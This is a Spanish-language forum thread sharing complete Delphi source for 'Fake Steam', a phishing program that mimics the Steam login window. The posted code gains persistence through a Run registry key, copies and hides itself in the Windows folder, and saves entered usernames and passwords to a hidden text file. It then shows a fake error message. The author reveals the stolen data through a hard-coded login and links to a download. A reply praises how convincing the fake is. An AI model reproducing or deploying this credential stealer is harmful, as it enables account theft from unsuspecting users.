Foro de elhacker.net

Programación => Programación General => Mensaje iniciado por: BigBear en 1 Mayo 2015, 17:05 pm



Título: [Delphi] Fake Steam 0.3
Publicado por: BigBear en 1 Mayo 2015, 17:05 pm
Un simple fake del programa Steam , parecia dificil pero con el poder de los skins de Delphi XE2 pude hacerlo "parecido".

Una imagen :

(http://doddyhackman.webcindario.com/images/fakesteam.jpg)

El codigo :

Código
  1. // Fake Steam 0.3
  2. // (C) Doddy Hackman 2015
  3.  
  4. unit fake;
  5.  
  6. interface
  7.  
  8. uses
  9.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  10.  System.Classes, Vcl.Graphics,
  11.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.Imaging.pngimage,
  12.  Vcl.StdCtrls, Registry;
  13.  
  14. type
  15.  TForm1 = class(TForm)
  16.    Image1: TImage;
  17.    Image2: TImage;
  18.    Edit1: TEdit;
  19.    Edit2: TEdit;
  20.    Image3: TImage;
  21.    Image4: TImage;
  22.    Image5: TImage;
  23.    Image6: TImage;
  24.    procedure Image2Click(Sender: TObject);
  25.    procedure Image3Click(Sender: TObject);
  26.    procedure Image4Click(Sender: TObject);
  27.    procedure Image5Click(Sender: TObject);
  28.    procedure Image6Click(Sender: TObject);
  29.    procedure FormCreate(Sender: TObject);
  30.  private
  31.    { Private declarations }
  32.  public
  33.    { Public declarations }
  34.  end;
  35.  
  36. var
  37.  Form1: TForm1;
  38.  
  39. implementation
  40.  
  41. {$R *.dfm}
  42.  
  43. procedure TForm1.FormCreate(Sender: TObject);
  44. var
  45.  nombrereal: string;
  46.  rutareal: string;
  47.  yalisto: string;
  48.  her: TRegistry;
  49.  
  50. begin
  51.  
  52.  try
  53.    begin
  54.      nombrereal := ExtractFileName(ParamStr(0));
  55.      rutareal := ParamStr(0);
  56.      yalisto := 'C:\WINDOWS\' + nombrereal;
  57.  
  58.      CopyFile(Pchar(rutareal), Pchar(yalisto), false);
  59.  
  60.      her := TRegistry.Create;
  61.      her.RootKey := HKEY_LOCAL_MACHINE;
  62.  
  63.      her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', false);
  64.      her.WriteString('ubersteam', yalisto);
  65.      her.Free;
  66.  
  67.      SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  68.      SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
  69.    end;
  70.  except
  71.    //
  72.  end;
  73. end;
  74.  
  75. procedure TForm1.Image2Click(Sender: TObject);
  76. var
  77.  archivo: TextFile;
  78.  ruta: string;
  79.  
  80. begin
  81.  
  82.  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  83.  begin
  84.    try
  85.      begin
  86.        WinExec('notepad c:/windows/datos.txt', SW_SHOW);
  87.      end;
  88.    except
  89.      //
  90.    end;
  91.  end
  92.  else
  93.  begin
  94.  
  95.    if Edit1.Text = '' then
  96.    begin
  97.      ShowMessage('Escriba tu usuario');
  98.    end;
  99.    if Edit2.Text = '' then
  100.    begin
  101.      ShowMessage('Escribe tu contraseña');
  102.    end
  103.    else
  104.    begin
  105.      if Edit2.Text = 'Escribe aqui tu contraseña' then
  106.      begin
  107.        ShowMessage('Escribe tu contraseña');
  108.      end
  109.      else
  110.      begin
  111.        try
  112.          begin
  113.            ruta := 'c:/windows/datos.txt'; // mod
  114.            if FileExists(ruta) then
  115.            begin
  116.              AssignFile(archivo, ruta);
  117.              FileMode := fmOpenWrite;
  118.              Append(archivo);
  119.              Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
  120.                Edit2.Text);
  121.              CloseFile(archivo);
  122.              Application.MessageBox
  123.                ('Se ha producido un error , es necesario reiniciar Steam',
  124.                'Steam', MB_OK);
  125.              Form1.Close;
  126.            end
  127.            else
  128.            begin
  129.              AssignFile(archivo, ruta);
  130.              FileMode := fmOpenWrite;
  131.              ReWrite(archivo);
  132.              Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
  133.                Edit2.Text);
  134.              CloseFile(archivo);
  135.              Application.MessageBox
  136.                ('Se ha producido un error , es necesario reiniciar Steam',
  137.                'Steam', MB_OK);
  138.              Form1.Close;
  139.            end;
  140.          end;
  141.        except
  142.          //
  143.        end;
  144.      end;
  145.    end;
  146.  end;
  147. end;
  148.  
  149. procedure TForm1.Image3Click(Sender: TObject);
  150. begin
  151.  Application.Terminate;
  152. end;
  153.  
  154. procedure TForm1.Image4Click(Sender: TObject);
  155. begin
  156.  ShowMessage('Not available');
  157. end;
  158.  
  159. procedure TForm1.Image5Click(Sender: TObject);
  160. begin
  161.  ShowMessage('Not available');
  162. end;
  163.  
  164. procedure TForm1.Image6Click(Sender: TObject);
  165. begin
  166.  ShowMessage('Not available');
  167. end;
  168.  
  169. end.
  170.  
  171. // The End ?
  172.  

Si quieren bajar el programa lo pueden hacer de aca (https://sourceforge.net/projects/fakesteam/).


Título: Re: [Delphi] Fake Steam 0.3
Publicado por: Eleкtro en 2 Mayo 2015, 04:45 am
Me ha gustado la idea aunque es un poco maliciosa cómo siempre xD, gracias por compartir.

El fake está genial, creo que probablemente pasaría desapercibido para todos los despistados, aunque hay ciertos detalles que has descuidado bastante.

EDITO: Por cierto, ¿te das cuenta que has copiado/utilizado una imagen legítima de Steam y lo has compartido en sourceforge? ... si te pillan, ¡ve con cuidado!.

Saludos!